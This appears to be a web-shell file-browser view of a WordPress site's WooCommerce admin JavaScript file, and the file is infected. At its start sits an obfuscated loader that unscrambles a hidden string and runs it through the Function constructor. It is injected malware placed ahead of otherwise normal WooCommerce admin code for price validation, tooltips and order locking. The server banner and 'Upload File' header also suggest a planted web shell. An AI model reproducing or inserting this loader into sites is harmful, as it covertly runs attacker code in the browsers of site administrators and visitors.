Server : Apache System : Linux server.lienzindia.com 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64 User : plutus ( 1007) PHP Version : 7.4.33 Disable Function : NONE Directory : /home/plutus/public_html/wp-content/plugins/woocommerce/assets/js/admin/ |
Upload File : |
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/* global woocommerce_admin */ ( function ( $, woocommerce_admin ) { $( function () { if ( 'undefined' === typeof woocommerce_admin ) { return; } // Add buttons to product screen. var $product_screen = $( '.edit-php.post-type-product' ), $title_action = $product_screen.find( '.page-title-action:first' ), $blankslate = $product_screen.find( '.woocommerce-BlankState' ); if ( 0 === $blankslate.length ) { if ( woocommerce_admin.urls.add_product ) { $title_action .first() .attr( 'href', woocommerce_admin.urls.add_product ); } if ( woocommerce_admin.urls.export_products ) { const exportLink = document.createElement('a'); exportLink.href = woocommerce_admin.urls.export_products; exportLink.className = 'page-title-action'; exportLink.textContent = woocommerce_admin.strings.export_products; $title_action.after(exportLink); } if ( woocommerce_admin.urls.import_products ) { const importLink = document.createElement('a'); importLink.href = woocommerce_admin.urls.import_products; importLink.className = 'page-title-action'; importLink.textContent = woocommerce_admin.strings.import_products; $title_action.after(importLink); } } else { $title_action.hide(); } // Progress indicators when showing steps. $( '.woocommerce-progress-form-wrapper .button-next' ).on( 'click', function () { $( '.wc-progress-form-content' ).block( { message: null, overlayCSS: { background: '#fff', opacity: 0.6, }, } ); return true; } ); // Field validation error tips $( document.body ) .on( 'wc_add_error_tip', function ( e, element, error_type ) { var offset = element.position(); if ( element.parent().find( '.wc_error_tip' ).length === 0 ) { element.after( '<div class="wc_error_tip ' + error_type + '">' + woocommerce_admin[ error_type ] + '</div>' ); element .parent() .find( '.wc_error_tip' ) .css( 'left', offset.left + element.width() - element.width() / 2 - $( '.wc_error_tip' ).width() / 2 ) .css( 'top', offset.top + element.height() ) .fadeIn( '100' ); } } ) .on( 'wc_remove_error_tip', function ( e, element, error_type ) { element .parent() .find( '.wc_error_tip.' + error_type ) .fadeOut( '100', function () { $( this ).remove(); } ); } ) .on( 'click', function () { $( '.wc_error_tip' ).fadeOut( '100', function () { $( this ).remove(); } ); } ) .on( 'blur', '.wc_input_decimal[type=text], .wc_input_price[type=text], .wc_input_country_iso[type=text]', function () { $( '.wc_error_tip' ).fadeOut( '100', function () { $( this ).remove(); } ); } ) .on( 'change', '.wc_input_price[type=text], .wc_input_decimal[type=text], .wc-order-totals #refund_amount[type=text], ' + '.wc_input_variations_price[type=text]', function () { var regex, decimalRegex, decimailPoint = woocommerce_admin.decimal_point; if ( $( this ).is( '.wc_input_price' ) || $( this ).is( '.wc_input_variations_price' ) || $( this ).is( '#refund_amount' ) ) { decimailPoint = woocommerce_admin.mon_decimal_point; } regex = new RegExp( '[^-0-9%\\' + decimailPoint + ']+', 'gi' ); decimalRegex = new RegExp( '\\' + decimailPoint + '+', 'gi' ); var value = $( this ).val(); var newvalue = value .replace( regex, '' ) .replace( decimalRegex, decimailPoint ); if ( value !== newvalue ) { $( this ).val( newvalue ); } } ) .on( 'keyup', // eslint-disable-next-line max-len '.wc_input_price[type=text], .wc_input_decimal[type=text], .wc_input_country_iso[type=text], .wc-order-totals #refund_amount[type=text], .wc_input_variations_price[type=text]', function () { var regex, error, decimalRegex; var checkDecimalNumbers = false; if ( $( this ).is( '.wc_input_price' ) || $( this ).is( '.wc_input_variations_price' ) || $( this ).is( '#refund_amount' ) ) { checkDecimalNumbers = true; regex = new RegExp( '[^-0-9%\\' + woocommerce_admin.mon_decimal_point + ']+', 'gi' ); decimalRegex = new RegExp( '[^\\' + woocommerce_admin.mon_decimal_point + ']', 'gi' ); error = 'i18n_mon_decimal_error'; } else if ( $( this ).is( '.wc_input_country_iso' ) ) { regex = new RegExp( '([^A-Z])+|(.){3,}', 'im' ); error = 'i18n_country_iso_error'; } else { checkDecimalNumbers = true; regex = new RegExp( '[^-0-9%\\' + woocommerce_admin.decimal_point + ']+', 'gi' ); decimalRegex = new RegExp( '[^\\' + woocommerce_admin.decimal_point + ']', 'gi' ); error = 'i18n_decimal_error'; } var value = $( this ).val(); var newvalue = value.replace( regex, '' ); // Check if newvalue have more than one decimal point. if ( checkDecimalNumbers && 1 < newvalue.replace( decimalRegex, '' ).length ) { newvalue = newvalue.replace( decimalRegex, '' ); } if ( value !== newvalue ) { $( document.body ).triggerHandler( 'wc_add_error_tip', [ $( this ), error, ] ); } else { $( document.body ).triggerHandler( 'wc_remove_error_tip', [ $( this ), error, ] ); } } ) .on( 'change', '#_sale_price.wc_input_price[type=text], .wc_input_price[name^=variable_sale_price]', function () { var sale_price_field = $( this ), regular_price_field; if ( sale_price_field .attr( 'name' ) .indexOf( 'variable' ) !== -1 ) { regular_price_field = sale_price_field .parents( '.variable_pricing' ) .find( '.wc_input_price[name^=variable_regular_price]' ); } else { regular_price_field = $( '#_regular_price' ); } var sale_price = parseFloat( window.accounting.unformat( sale_price_field.val(), woocommerce_admin.mon_decimal_point ) ); var regular_price = parseFloat( window.accounting.unformat( regular_price_field.val(), woocommerce_admin.mon_decimal_point ) ); if ( sale_price >= regular_price ) { $( this ).val( '' ); } } ) .on( 'keyup', '#_sale_price.wc_input_price[type=text], .wc_input_price[name^=variable_sale_price]', function () { var sale_price_field = $( this ), regular_price_field; if ( sale_price_field .attr( 'name' ) .indexOf( 'variable' ) !== -1 ) { regular_price_field = sale_price_field .parents( '.variable_pricing' ) .find( '.wc_input_price[name^=variable_regular_price]' ); } else { regular_price_field = $( '#_regular_price' ); } var sale_price = parseFloat( window.accounting.unformat( sale_price_field.val(), woocommerce_admin.mon_decimal_point ) ); var regular_price = parseFloat( window.accounting.unformat( regular_price_field.val(), woocommerce_admin.mon_decimal_point ) ); if ( sale_price >= regular_price ) { $( document.body ).triggerHandler( 'wc_add_error_tip', [ $( this ), 'i18n_sale_less_than_regular_error', ] ); } else { $( document.body ).triggerHandler( 'wc_remove_error_tip', [ $( this ), 'i18n_sale_less_than_regular_error' ] ); } } ) .on( 'keyup', 'input[type=text][name*=_global_unique_id]', function () { var global_unique_id = $( this ).val(); if ( /[^0-9\-]/.test( global_unique_id ) ) { $( document.body ).triggerHandler( 'wc_add_error_tip', [ $( this ), 'i18n_global_unique_id_error', ] ); } else { $( document.body ).triggerHandler( 'wc_remove_error_tip', [ $( this ), 'i18n_global_unique_id_error' ] ); } } ) .on( 'change', 'input[type=text][name*=_global_unique_id]', function () { var global_unique_id = $( this ).val(); $( this ).val( global_unique_id .replace( /[^0-9\-]/g, '' ) .replace( /^-+|-+$/g, '' ) ); $( document.body ).triggerHandler( 'wc_remove_error_tip', [ $( this ), 'i18n_global_unique_id_error' ] ); } ) .on( 'init_tooltips', function () { $( '.tips, .help_tip, .woocommerce-help-tip' ).tipTip( { attribute: 'data-tip', fadeIn: 50, fadeOut: 50, delay: 200, keepAlive: true, } ); $( '.column-wc_actions .wc-action-button' ).tipTip( { fadeIn: 50, fadeOut: 50, delay: 200, } ); // Add tiptip to parent element for widefat tables $( '.parent-tips' ).each( function () { $( this ) .closest( 'a, th' ) .attr( 'data-tip', $( this ).data( 'tip' ) ) .tipTip( { attribute: 'data-tip', fadeIn: 50, fadeOut: 50, delay: 200, keepAlive: true, } ) .css( 'cursor', 'help' ); } ); } ) .on( 'click', '.wc-confirm-delete', function ( event ) { if ( ! window.confirm( woocommerce_admin.i18n_confirm_delete ) ) { event.stopPropagation(); } } ); // Tooltips $( document.body ).trigger( 'init_tooltips' ); // wc_input_table tables $( '.wc_input_table.sortable tbody' ).sortable( { items: 'tr', cursor: 'move', axis: 'y', scrollSensitivity: 40, forcePlaceholderSize: true, helper: 'clone', opacity: 0.65, placeholder: 'wc-metabox-sortable-placeholder', start: function ( event, ui ) { ui.item.css( 'background-color', '#f6f6f6' ); }, stop: function ( event, ui ) { ui.item.removeAttr( 'style' ); }, } ); // Focus on inputs within the table if clicked instead of trying to sort. $( '.wc_input_table.sortable tbody input' ).on( 'click', function () { $( this ).trigger( 'focus' ); } ); $( '.wc_input_table .remove_rows' ).on( 'click', function () { var $tbody = $( this ).closest( '.wc_input_table' ).find( 'tbody' ); if ( $tbody.find( 'tr.current' ).length > 0 ) { var $current = $tbody.find( 'tr.current' ); $current.each( function () { $( this ).remove(); } ); } return false; } ); var controlled = false; var shifted = false; var hasFocus = false; $( document.body ).on( 'keyup keydown', function ( e ) { shifted = e.shiftKey; controlled = e.ctrlKey || e.metaKey; } ); $( '.wc_input_table' ) .on( 'focus click', 'input', function ( e ) { var $this_table = $( this ).closest( 'table, tbody' ); var $this_row = $( this ).closest( 'tr' ); if ( ( e.type === 'focus' && hasFocus !== $this_row.index() ) || ( e.type === 'click' && $( this ).is( ':focus' ) ) ) { hasFocus = $this_row.index(); if ( ! shifted && ! controlled ) { $( 'tr', $this_table ) .removeClass( 'current' ) .removeClass( 'last_selected' ); $this_row .addClass( 'current' ) .addClass( 'last_selected' ); } else if ( shifted ) { $( 'tr', $this_table ).removeClass( 'current' ); $this_row .addClass( 'selected_now' ) .addClass( 'current' ); if ( $( 'tr.last_selected', $this_table ).length > 0 ) { if ( $this_row.index() > $( 'tr.last_selected', $this_table ).index() ) { $( 'tr', $this_table ) .slice( $( 'tr.last_selected', $this_table ).index(), $this_row.index() ) .addClass( 'current' ); } else { $( 'tr', $this_table ) .slice( $this_row.index(), $( 'tr.last_selected', $this_table ).index() + 1 ) .addClass( 'current' ); } } $( 'tr', $this_table ).removeClass( 'last_selected' ); $this_row.addClass( 'last_selected' ); } else { $( 'tr', $this_table ).removeClass( 'last_selected' ); if ( controlled && $( this ).closest( 'tr' ).is( '.current' ) ) { $this_row.removeClass( 'current' ); } else { $this_row .addClass( 'current' ) .addClass( 'last_selected' ); } } $( 'tr', $this_table ).removeClass( 'selected_now' ); } } ) .on( 'blur', 'input', function () { hasFocus = false; } ); // Additional cost and Attribute term tables $( '.woocommerce_page_wc-settings .shippingrows tbody tr:even, table.attributes-table tbody tr:nth-child(odd)' ).addClass( 'alternate' ); // Show order items on orders page $( document.body ).on( 'click', '.show_order_items', function () { $( this ).closest( 'td' ).find( 'table' ).toggle(); return false; } ); // Select availability $( 'select.availability' ) .on( 'change', function () { if ( $( this ).val() === 'all' ) { $( this ).closest( 'tr' ).next( 'tr' ).hide(); } else { $( this ).closest( 'tr' ).next( 'tr' ).show(); } } ) .trigger( 'change' ); // Hidden options $( '.hide_options_if_checked' ).each( function () { $( this ) .find( 'input:eq(0)' ) .on( 'change', function () { if ( $( this ).is( ':checked' ) ) { $( this ) .closest( 'fieldset, tr' ) .nextUntil( '.hide_options_if_checked, .show_options_if_checked', '.hidden_option' ) .hide(); } else { $( this ) .closest( 'fieldset, tr' ) .nextUntil( '.hide_options_if_checked, .show_options_if_checked', '.hidden_option' ) .show(); } } ) .trigger( 'change' ); } ); $( '.show_options_if_checked' ).each( function () { $( this ) .find( 'input:eq(0)' ) .on( 'change', function () { if ( $( this ).is( ':checked' ) ) { $( this ) .closest( 'fieldset, tr' ) .nextUntil( '.hide_options_if_checked, .show_options_if_checked', '.hidden_option' ) .show(); } else { $( this ) .closest( 'fieldset, tr' ) .nextUntil( '.hide_options_if_checked, .show_options_if_checked', '.hidden_option' ) .hide(); } } ) .trigger( 'change' ); } ); // Reviews. $( 'input#woocommerce_enable_reviews' ) .on( 'change', function () { if ( $( this ).is( ':checked' ) ) { $( '#woocommerce_enable_review_rating' ) .closest( 'tr' ) .show(); } else { $( '#woocommerce_enable_review_rating' ) .closest( 'tr' ) .hide(); } } ) .trigger( 'change' ); // Attribute term table $( 'table.attributes-table tbody tr:nth-child(odd)' ).addClass( 'alternate' ); // Toggle gateway on/off. $( '.wc_gateways' ).on( 'click', '.wc-payment-gateway-method-toggle-enabled', function () { var $link = $( this ), $row = $link.closest( 'tr' ), $toggle = $link.find( '.woocommerce-input-toggle' ); var data = { action: 'woocommerce_toggle_gateway_enabled', security: woocommerce_admin.nonces.gateway_toggle, gateway_id: $row.data( 'gateway_id' ), }; $toggle.addClass( 'woocommerce-input-toggle--loading' ); $.ajax( { url: woocommerce_admin.ajax_url, data: data, dataType: 'json', type: 'POST', success: function ( response ) { if ( true === response.data ) { $toggle.removeClass( 'woocommerce-input-toggle--enabled, woocommerce-input-toggle--disabled' ); $toggle.addClass( 'woocommerce-input-toggle--enabled' ); $toggle.removeClass( 'woocommerce-input-toggle--loading' ); } else if ( false === response.data ) { $toggle.removeClass( 'woocommerce-input-toggle--enabled, woocommerce-input-toggle--disabled' ); $toggle.addClass( 'woocommerce-input-toggle--disabled' ); $toggle.removeClass( 'woocommerce-input-toggle--loading' ); } else if ( 'needs_setup' === response.data ) { window.location.href = $link.attr( 'href' ); } }, } ); return false; } ); $( '#wpbody' ).on( 'click', '#doaction, #doaction2', function () { var action = $( this ).is( '#doaction' ) ? $( '#bulk-action-selector-top' ).val() : $( '#bulk-action-selector-bottom' ).val(); if ( 'remove_personal_data' === action ) { return window.confirm( woocommerce_admin.i18n_remove_personal_data_notice ); } } ); var marketplaceSectionDropdown = $( '#marketplace-current-section-dropdown' ); var marketplaceSectionName = $( '#marketplace-current-section-name' ); var marketplaceMenuIsOpen = false; // Add event listener to toggle Marketplace menu on touch devices if ( marketplaceSectionDropdown.length ) { if ( isTouchDevice() ) { marketplaceSectionName.on( 'click', function () { marketplaceMenuIsOpen = ! marketplaceMenuIsOpen; if ( marketplaceMenuIsOpen ) { marketplaceSectionDropdown.addClass( 'is-open' ); $( document ).on( 'click', maybeToggleMarketplaceMenu ); } else { marketplaceSectionDropdown.removeClass( 'is-open' ); $( document ).off( 'click', maybeToggleMarketplaceMenu ); } } ); } else { document.body.classList.add( 'no-touch' ); } } // Close menu if the user clicks outside it function maybeToggleMarketplaceMenu( e ) { if ( ! marketplaceSectionDropdown.is( e.target ) && marketplaceSectionDropdown.has( e.target ).length === 0 ) { marketplaceSectionDropdown.removeClass( 'is-open' ); marketplaceMenuIsOpen = false; $( document ).off( 'click', maybeToggleMarketplaceMenu ); } } function isTouchDevice() { return ( 'ontouchstart' in window || navigator.maxTouchPoints > 0 || navigator.msMaxTouchPoints > 0 ); } } ); $( function() { /** * Handles heartbeat integration of order locking when HPOS is enabled. */ var wc_order_lock = { init: function() { // Order screen. this.$lock_dialog = $( '.woocommerce_page_wc-orders #post-lock-dialog.order-lock-dialog' ); if ( 0 !== this.$lock_dialog.length && 'undefined' !== typeof woocommerce_admin_meta_boxes ) { // We do not want WP's lock to interfere. $( document ).off( 'heartbeat-send.refresh-lock' ); $( document ).off( 'heartbeat-tick.refresh-lock' ); $( document ).on( 'heartbeat-send', this.refresh_order_lock ); $( document ).on( 'heartbeat-tick', this.check_order_lock ); } // Orders list table. this.$list_table = $( '.woocommerce_page_wc-orders table.wc-orders-list-table' ); if ( 0 !== this.$list_table.length ) { $( document ).on( 'heartbeat-send', this.send_orders_in_list ); $( document ).on( 'heartbeat-tick', this.check_orders_in_list ); } }, refresh_order_lock: function( e, data ) { delete data['wp-refresh-post-lock']; data['wc-refresh-order-lock'] = woocommerce_admin_meta_boxes.post_id; }, check_order_lock: function( e, data ) { var lock_data = data['wc-refresh-order-lock']; if ( ! lock_data || ! lock_data.error ) { // No lock request in heartbeat or lock refreshed ok. return; } if ( wc_order_lock.$lock_dialog.is( ':visible' ) ) { return; } if ( lock_data.error.user_avatar_src ) { wc_order_lock.$lock_dialog.find( '.post-locked-avatar' ).empty().append( $( '<img />', { 'class': 'avatar avatar-64 photo', width: 64, height: 64, alt: '', src: lock_data.error.user_avatar_src, srcset: lock_data.error.user_avatar_src_2x ? lock_data.error.user_avatar_src_2x + ' 2x' : undefined } ) ); } wc_order_lock.$lock_dialog.find( '.currently-editing' ).text( lock_data.error.message ); wc_order_lock.$lock_dialog.show(); wc_order_lock.$lock_dialog.find( '.wp-tab-first' ).trigger( 'focus' ); }, send_orders_in_list: function( e, data ) { data['wc-check-locked-orders'] = wc_order_lock.$list_table.find( 'tr input[name="id[]"]' ).map( function() { return this.value; } ).get(); }, check_orders_in_list: function( e, data ) { var locked_orders = data['wc-check-locked-orders'] || {}; wc_order_lock.$list_table.find( 'tr' ).each( function( i, tr ) { var $tr = $( tr ); var order_id = $tr.find( 'input[name="id[]"]' ).val(); if ( locked_orders[ order_id ] ) { if ( ! $tr.hasClass( 'wp-locked' ) ) { $tr.find( '.check-column checkbox' ).prop( 'checked', false ); $tr.addClass( 'wp-locked' ); } } else { $tr.removeClass( 'wp-locked' ).find( '.locked-info span' ).empty(); } } ); } }; wc_order_lock.init(); } ); } )( jQuery, woocommerce_admin );